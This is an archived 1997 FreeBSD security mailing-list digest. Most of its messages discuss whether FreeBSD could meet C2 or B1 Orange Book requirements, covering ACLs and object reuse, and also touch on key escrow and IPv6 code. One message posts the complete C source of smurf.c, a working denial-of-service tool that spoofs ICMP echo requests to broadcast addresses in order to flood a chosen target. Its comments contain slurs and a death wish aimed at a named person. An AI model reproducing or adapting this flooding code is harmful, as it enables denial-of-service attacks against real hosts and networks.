accessing the unused contents of mbufs from user space? Any other kernel buffers? I doubt it, but that's the only other way I can think of. Warren Toomey From owner-freebsd-security Mon Oct 13 18:58:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA11648 for security-outgoing; Mon, 13 Oct 1997 18:58:13 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA11643; Mon, 13 Oct 1997 18:58:06 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.5/8.8.5) with SMTP id UAA04662; Mon, 13 Oct 1997 20:53:08 -0500 (CDT) Date: Mon, 13 Oct 1997 20:53:08 -0500 (CDT) From: "Matthew D. Fuller" To: Christopher Petrilli cc: Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710132110.RAA29578@dworkin.amber.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 Oct 1997, Christopher Petrilli wrote: > >I'm fairly certain acl is _not_ a requirement in the dcl segment of c2. > >acl is, after all, just another form of group control at its very base. > > It is not "mandatory," however the following paragraph exerpted from the > TCSEC does make it clear that the exisintg group mechanism is NOT > acceptable: > > "The access controls shall be capable of including or excluding > access > to the granulairty of a single user." I could be just being stupid here, but can't you do this by making everyone a member of a group with their login ID, and them only as a member and setting the file to (owner).user, mode 707, or something? Wouldn't that give everyone but that persona ccess to it? Did anyone even follow that? not too clear, is it... > > This exclusion part is what makes it very difficult. You must be capable > of giving access to everyone BUT a specific user. While theoretically I > guess you could do it by managing billions of sepereate groups, I think > it would fail none the less because of practical enforcement concerns. > > Other than that, it's mostly documentation, and audit. I would really > prefer to do an ACL extension to the file system, as I think it's useful > as it is :-) > > Chris > > -- > | Christopher Petrilli "That's right you're > | petrilli@amber.org not from Texas." *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * FreeBSD: turning PCs into workstations * | Windows: turning workstations into typewriters | * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* From owner-freebsd-security Mon Oct 13 19:08:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA12742 for security-outgoing; Mon, 13 Oct 1997 19:08:53 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (mail@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA12732; Mon, 13 Oct 1997 19:08:45 -0700 (PDT) (envelope-from petrilli@dworkin.amber.org) Received: (from mail@localhost) by dworkin.amber.org (8.8.7/8.8.7) id WAA00781; Mon, 13 Oct 1997 22:08:53 -0400 (EDT) Message-Id: <199710140208.WAA00781@dworkin.amber.org> X-Authentication-Warning: dworkin.amber.org: mail set sender to using -f Received: from ab2-12.dial.nova.org(209.31.144.204) by dworkin.amber.org via smap (V1.3) id sma000778; Mon Oct 13 22:08:42 1997 Subject: Re: C2 Trusted FreeBSD? Date: Mon, 13 Oct 97 22:07:19 -0400 x-sender: petrilli@dworkin.amber.org x-mailer: Claris Emailer 2.0, March 15, 1997 From: Christopher Petrilli To: "Matthew D. Fuller" cc: "Brian Mitchell" , "Colman Reilly" , "Douglas Carmichael" , , Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 10/13/97 9:53 PM, Matthew D. Fuller wrote: >I could be just being stupid here, but can't you do this by making >everyone a member of a group with their login ID, and them only as a >member and setting the file to (owner).user, mode 707, or something? >Wouldn't that give everyone but that persona ccess to it? >Did anyone even follow that? not too clear, is it... But what about when you have 10,000 users, and you need 486 of them to not have access? Do you see the issue of performance slowly creeping up when yyou have 50,000 groups? This becomes a hideous nightmare. Chris -- | Christopher Petrilli "That's right you're | petrilli@amber.org not from Texas." From owner-freebsd-security Mon Oct 13 20:06:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA15783 for security-outgoing; Mon, 13 Oct 1997 20:06:42 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA15772 for ; Mon, 13 Oct 1997 20:06:30 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-206.HiWAAY.net [208.147.148.206]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id WAA24116 for ; Mon, 13 Oct 1997 22:06:26 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id WAA12259 for ; Mon, 13 Oct 1997 22:06:24 -0500 (CDT) Message-Id: <199710140306.WAA12259@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-security@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Zeroing pages, was Re: C2 In-reply-to: Message from Warren Toomey of "Tue, 14 Oct 1997 11:29:45 +1000." <199710140129.LAA09227@henry.cs.adfa.oz.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 13 Oct 1997 22:06:22 -0500 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warren Toomey writes: > In article by Terry Lambert: > > > > Basically, we need to purge all memory when it is allocated, or > > > > deallocated. > > This is interesting. Can you give a small sample program for accessing > > data from another program? As far as I know, pages are either filled > > from a swap store (and contain data accessable to you) or zero-filled; > > I can't think of a way (off the top of my head) to make this not true. > > Terry Lambert > > There's no way of accessing the unused contents of mbufs from user space? > Any other kernel buffers? I doubt it, but that's the only other way I can > think of. My security officers call this, "slack space" and are at least as concerned about it as they are about the other forms of object reuse this thread has touched upon. Have been searching for the usefull SGI documents I've had to quote for work, http://www.sgi.com/Support/security/c2_in_5.3_6.1.ps is one where basically C2 is a standard Irix feature. Mention is made of Trusted Irix, a separate product of which components were lifted (audit trails) to provide C2 for Irix. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-security Mon Oct 13 20:43:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA17728 for security-outgoing; Mon, 13 Oct 1997 20:43:56 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from blackhole.iceworld.org (griffin@blackhole.iceworld.org [204.246.64.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA17711 for ; Mon, 13 Oct 1997 20:43:41 -0700 (PDT) (envelope-from griffin@blackhole.iceworld.org) Received: from localhost (griffin@localhost) by blackhole.iceworld.org (8.8.7/8.8.5) with SMTP id WAA02791; Mon, 13 Oct 1997 22:43:26 -0500 (CDT) Date: Mon, 13 Oct 1997 22:43:25 -0500 (CDT) From: Jimbo Bahooli To: bugtraq@netspace.org cc: freebsd-security@freebsd.org Subject: smurf.c ported to freebsd and friends Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Here is Tfreaks code ported to FreeBSD and whatever other operating systems use BSD style sockets. ---- smurf.c ---- /* * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $ * * spoofs icmp packets from a host to various broadcast addresses resulting in * multiple replies to that host from a single packet. * * orginial linux code by tfreak, most props to him, all I did was port it to * operating systems with a less perverse networking system, such as FreeBSD, * and many others. -Griffin * * mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea * pig, MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he * rox my sox, zuez, toxik, robocod, and everyone else that i might have * missed (you know who you are). * * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing * he is (he's -almost- as stubborn as me, still i managed to pick up half * the cheque). * * and a special hi to Todd, face it dude, you're fucking awesome. * * mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet * IRCOps because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to his * penis and anyone that can't pee standing up -- you don't know what your * missing out on. * * and anyone thats ripped my code (diff smurf.c axcast.c is rather * interesting). * * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins * for trying to steal my girlfriend. Not only did you show me no respect * but you're a manipulating prick who tried to take away the most important * thing in the world to me with no guilt whatsoever, and for that I wish you * nothing but pain. Die. * * disclaimer: I cannot and will not be held responsible nor legally bound for * the malicious activities of individuals who come into possession of this * program and I refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. This * is for educational use only. Please Don't abuse this. * * Well, i really, really, hate this code, but yet here I am creating another * disgusting version of it. Odd, indeed. So why did I write it? Well, I, * like most programmers don't like seeing bugs in their code. I saw a few * things that should have been done better or needed fixing so I fixed them. * -shrug-, programming for me as always seemed to take the pain away ... * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned int host2ip(char *hostname); unsigned short in_chksum(u_short *, int); unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); } bcopy(h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr; } /* stamp */ char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $"; int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct ip *ip; struct icmp *icmp; char *packet; int hincl = 1; packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } --- end --- From owner-freebsd-security Mon Oct 13 21:24:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA20031 for security-outgoing; Mon, 13 Oct 1997 21:24:56 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA20007; Mon, 13 Oct 1997 21:24:44 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-206.HiWAAY.net [208.147.148.206]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id XAA14425; Mon, 13 Oct 1997 23:24:30 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id XAA17794; Mon, 13 Oct 1997 23:24:29 -0500 (CDT) Message-Id: <199710140424.XAA17794@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: C2 Trusted FreeBSD? In-reply-to: Message from Christopher Petrilli of "Mon, 13 Oct 1997 22:07:19 EDT." <199710140208.WAA00781@dworkin.amber.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 13 Oct 1997 23:24:27 -0500 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (why hasn't this moved completely to freebsd-security?) Christopher Petrilli writes: > > But what about when you have 10,000 users, and you need 486 of them to > not have access? Do you see the issue of performance slowly creeping up > when yyou have 50,000 groups? This becomes a hideous nightmare. Just because its a hideous nightmare doesn't mean it doesn't meet spec. :-) Remember, for the most part we're talking about security specs brought to you by the same government that would limit cryptography to key escrow techniques. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-security Mon Oct 13 21:54:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA21718 for security-outgoing; Mon, 13 Oct 1997 21:54:07 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA21708 for ; Mon, 13 Oct 1997 21:54:01 -0700 (PDT) (envelope-from proff@suburbia.net) Received: from suburbia.net (suburbia.net [198.142.2.24] (may be forged)) by pdx1.world.net (8.8.7/8.7.3) with ESMTP id VAA27191; Mon, 13 Oct 1997 21:59:29 -0700 (PDT) Received: (from proff@localhost) by suburbia.net (8.8.7/8.8.4) id OAA25896; Tue, 14 Oct 1997 14:53:42 +1000 (EST) From: Julian Assange Message-Id: <199710140453.OAA25896@suburbia.net> Subject: Re: smurf.c ported to freebsd and friends In-Reply-To: from Jimbo Bahooli at "Oct 13, 97 10:43:25 pm" To: griffin@blackhole.iceworld.org (Jimbo Bahooli) Date: Tue, 14 Oct 1997 14:53:41 +1000 (EST) Cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ---- smurf.c ---- > > /* > * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $ > * > * spoofs icmp packets from a host to various broadcast addresses resulting in > * multiple replies to that host from a single packet. > * > * mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea > * pig, MissSatan for swallowing, napster for pimping my sister, the guy that > * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he > * rox my sox, zuez, toxik, robocod, and everyone else that i might have > * missed (you know who you are). > * [and on and on and on] Astounding. You would think this bozo had just written War and Peace, instead of a tired cut-and-paste implimentation of a dull idea implimented at least half a dozen times over the last 5 years. -- Prof. Julian Assange |"Don't worry about people stealing your ideas. If your | Ideas are any good, you'll have to ram them down proff@iq.org | people's throats." proff@gnu.ai.mit.edu | -- Howard Aiken From owner-freebsd-security Tue Oct 14 05:23:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA12719 for security-outgoing; Tue, 14 Oct 1997 05:23:12 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dab.iit.uni-miskolc.hu (dab.iit.uni-miskolc.hu [193.6.4.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA12655 for ; Tue, 14 Oct 1997 05:21:55 -0700 (PDT) (envelope-from rutz@dab.iit.uni-miskolc.hu) Received: (from rutz@localhost) by dab.iit.uni-miskolc.hu (8.8.7/8.8.5) id NAA24022; Tue, 14 Oct 1997 13:44:59 +0200 (CEST) Date: Tue, 14 Oct 1997 13:44:57 +0200 (MEST) From: Antal Rutz To: Ollivier Robert cc: freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: <19970924075951.46946@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 24 Sep 1997, Ollivier Robert wrote: > According to Roman V. Palagin: > > I live outside of US and can't download NRL's release of IPv6 software. > > Could somebody tell me where I can find IPv6 distribution for *BSD w/out > > export restriction? > > You can find it on RIPE's site at ftp.ripe.net althought it is an old > version (not checked recently). The INRIA code in > ftp.inria.fr:/network/IPv6 is well maintained, runs on 2.2.2 and is > massively used in the french IPv6 community. > > I'll try to see how much work is it to integrate it into CURRENT. > -- Unfortunately they work with whole replacement files not with diffs. It even can't be compiled under 2.2-stable... --rutz From owner-freebsd-security Tue Oct 14 05:40:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA13558 for security-outgoing; Tue, 14 Oct 1997 05:40:09 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA13540; Tue, 14 Oct 1997 05:40:07 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id FAA01458; Tue, 14 Oct 1997 05:40:05 -0700 (MST) From: Terry Lambert Message-Id: <199710141240.FAA01458@usr02.primenet.com> Subject: Re: C2 Trusted FreeBSD? To: dkelly@hiwaay.net Date: Tue, 14 Oct 1997 12:40:04 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-Reply-To: <199710140424.XAA17794@nospam.hiwaay.net> from "dkelly@hiwaay.net" at Oct 13, 97 11:24:27 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Remember, for the most part we're talking about security specs brought to > you by the same government that would limit cryptography to key escrow > techniques. The FBI web page has a link explaining their position: legally obtained wire taps. I can't help thinking that, even though this doesn't violate search and seizure (since wire taps a re performed with due process of law, needing a court order), it probably violates compelling one to testify against oneself. Unless you can get wire taps thrown out altogether, then strong cryptography is potentiatially an act of obstruction of justice, and the FBI has a point of law in their favor. Personally, I think all wire taps should be illegal on the basis of them being an act of compelling someone to testify against themselves. But until someone tests this (probably a real criminal, unfortunately) and gets the evidence thrown out as unconstitutionally obtained, then existing case law favors Key Escrow. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Tue Oct 14 06:55:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA17775 for security-outgoing; Tue, 14 Oct 1997 06:55:33 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from silver.sms.fi (silver.sms.fi [194.111.122.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA17757 for ; Tue, 14 Oct 1997 06:55:27 -0700 (PDT) (envelope-from pete@silver.sms.fi) Received: (from pete@localhost) by silver.sms.fi (8.8.7/8.7.3) id QAA21928; Tue, 14 Oct 1997 16:54:26 +0300 (EEST) Date: Tue, 14 Oct 1997 16:54:26 +0300 (EEST) Message-Id: <199710141354.QAA21928@silver.sms.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Petri Helenius To: Antal Rutz Cc: Ollivier Robert , freebsd-security@FreeBSD.ORG Subject: Re: IPv6 sources w/out export restriction In-Reply-To: References: <19970924075951.46946@keltia.freenix.fr> X-Mailer: VM 6.22 under 19.15p7 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Antal Rutz writes: > On Wed, 24 Sep 1997, Ollivier Robert wrote: > > > > I'll try to see how much work is it to integrate it into CURRENT. > > -- > Unfortunately they work with whole replacement files not with diffs. > It even can't be compiled under 2.2-stable... > This is why the code should be checked into CURRENT as my impression is that although it undergoes ongoing development, it's still very non-distruptive to non-ipv6 stuff so it would not hurt to be there. Pete From owner-freebsd-security Tue Oct 14 08:17:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA22947 for security-outgoing; Tue, 14 Oct 1997 08:17:43 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA22940 for ; Tue, 14 Oct 1997 08:17:39 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Tue, 14 Oct 1997 08:16:42 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Tue, 14 Oct 1997 08:16:41 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: Colman Reilly cc: Douglas Carmichael , freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710131041.LAA08912@monoid.cs.tcd.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have worked on several "Orange Book" UNIX systems. Not everybody in the INFOSEC community will agree with me on all points. On Mon, 13 Oct 1997, Colman Reilly wrote: > [cc'ed to security, where it possibly really belongs. On the other hand > raises a few issues relevant to hackers. Sorry if you get it twice.] > > [Disclaimer: I haven't had any coffee yet. This could all be wrong.] > > Could FreeBSD be made to comply with B1 or C2 trusted system standards FOR > REAL (unlike NT that can only comply when not hooked up to a network)? > > Well, certainly it could achieve C2, though we would need to do a *lot* of > documentation and testing work, and we may need to include an ACL list based > filesystem, that depends on your reading of the Orange Book. I'm not ACL's are not required at C2, not until B3 (maybe B2 it's been a while. Also I think I could make the case that UNIX already has ACL's, small ones but the spec does not, as I recall, say how big they need to be. Most of the people involved in INFOSEC are absolutely "head over heals" in love with ACL's, big ACL's. I am not convinced of their utility in the real world, especially with suplementary groups. If I were designing a B1 UNIX system I would not change the current access control design. > experienced enough to tell what the "normal" interpretation of the > requirement that access should be controllable down to the granularity of a > single user is. In principle one can deny access to an object by creating a > group with everyone except that user in it and set that to be the object's group > but I'm not sure a certification group would consider that adequate. The UNIX design as understood by most UNIX hackers meets C2 except for auditing. > > Code to handle the C2 auditing requirements is being worked on by someone > whose name I don't have handy on this machine, (sorry). The main problem > after that is adding the appropriate code to all the syscalls and the > relevant programs. > > I think it's mostly admin and verification work after that. And a LOT of documentation. > > As for B1: well, that is an interesting problem. Could we hack FreeBSD to > include labels? Yes. Can we do it without breaking existing software? I > don't know. UNIX could be made to meet B1 and, running at a single level should not break existing software, unless it has intimate knowledge of the filesystem and/or kernel data structures. fsck, mkfs whould need work, ps might. > > The problem is that B1 is the first level at which Mandatory Access Control > is introduced, which requires that you associate with each object (process, > file, whatever) attributes, to include a sensitivity label (top secret, > confidential, etc.) and what is essentially a project label. Essentially, > information is only allowed to move from an object with a lower or equal > sensitivity to one of a higher or equal sensitivity label and not vice > versa. (Not exactly correct, but good enough for this discussion.) > > Now, if we introduce such things we get a somewhat different view of the > world than the traditional UNIX-like security model. I do not know if it > possible to maintain a good enough match to enable us to continue to easily > port UNIX based software to FreeBSD. > > There are also some formal engineering requirements to be statisfied if I > remember rightly. (I don't have the Orange Book to hand, just the equivalent > European ITSEC document, which seperates assurance and security claims.) > > I know there are several UNIX-like B-Class OSes out there, but I'm not sure > whether they break the standard UNIX security semantics. Our more > experienced brethren would have a better idea and will no doubt express > their views in their normal reserved manner. > I just built the things, you don't expect me to use them do you? :-) I do think that as long as you run at a single level you will not notice it. With carefull design, it should still be useable running at multiple levels. > > >From a practical point of view I wonder how pleased developers would be to > have heavy security review requirements hanging over them? I suspect > not very. And the requirements for both C2 and B-Class would probably > impact performance. If one wanted to produce either a C2 or > B-Class system I think it would probably need to be done as a sort > of sub-project using a restricted driver set and a restricted ports > set and with a different distribution produced which would lag a > bit behind the released system. On the other hand any sort of work > towards that level of security would greatly increase both the > security of the base system and our confidence in it. To actually get a system evaluated you would need to specify, exactly what hardware it will run on, mother-board, peripherals, etc. Every option would add significant work, in documentation and evaluation. If somebody actually wanted to get a version of FreeBSD on the Evaluated Products List, they would need to find a sponser to convince NSA (or whoever the evaluating agency is these days) to do the evaluation. There would also need to be a full-time staff member to interface with the agency. It might be possible to find somebody in DoD who would be willing to sponser this and foot the bill, but I would not know where to look. > > On the other hand, wouldn't a free A1-class operating system just be so > funny? > "Mr Gates, please explain why your operating system can't make C2 > yet that pack of wasters manage to maintain a free system at A1 > certification" > > The problem with that is the money that the certifaction process would > require, of course. > > Colman > Just replacing A1 with B1 would be a real "kick in the head". From owner-freebsd-security Tue Oct 14 08:30:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA23943 for security-outgoing; Tue, 14 Oct 1997 08:30:55 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from stt3.com (root@stt3.com [198.107.49.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA23938; Tue, 14 Oct 1997 08:30:52 -0700 (PDT) (envelope-from beattie@stt3.com) Received: from durin(really [192.168.0.88]) by stt3.com via sendmail with smtp id for ; Tue, 14 Oct 1997 08:29:53 -0700 (PDT) (Smail-3.2 1996-Jul-4 #1 built 1997-Mar-5) Date: Tue, 14 Oct 1997 08:29:52 -0700 (PDT) From: Brian Beattie X-Sender: beattie@durin To: Christopher Petrilli cc: Brian Mitchell , Colman Reilly , Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710132110.RAA29578@dworkin.amber.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 Oct 1997, Christopher Petrilli wrote: > > THat having been said, there is one other requirement that would need to > be addressed: > > * Object Reuse (2.2.1.2) > > THis is defined as follows: > > "All authorizations to the information contained iwthin a storage object > shall be revoked prior to initial assignment, allocation or reallocation > to a subject from the TCB's pool of unused storage objects. No > information, including encrypted representations of information, produced > by a prior subject's actions is to be available to any subject that > obtains access to an object that has been released back to the system." > > Basically, we need to purge all memor when it is allocated, or > deallocated. > Nope, only when it is allocated, and this is allready done. The reason is that until it is allocated, no "subject" has access to the "object". From owner-freebsd-security Tue Oct 14 08:33:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA24141 for security-outgoing; Tue, 14 Oct 1997 08:33:18 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org 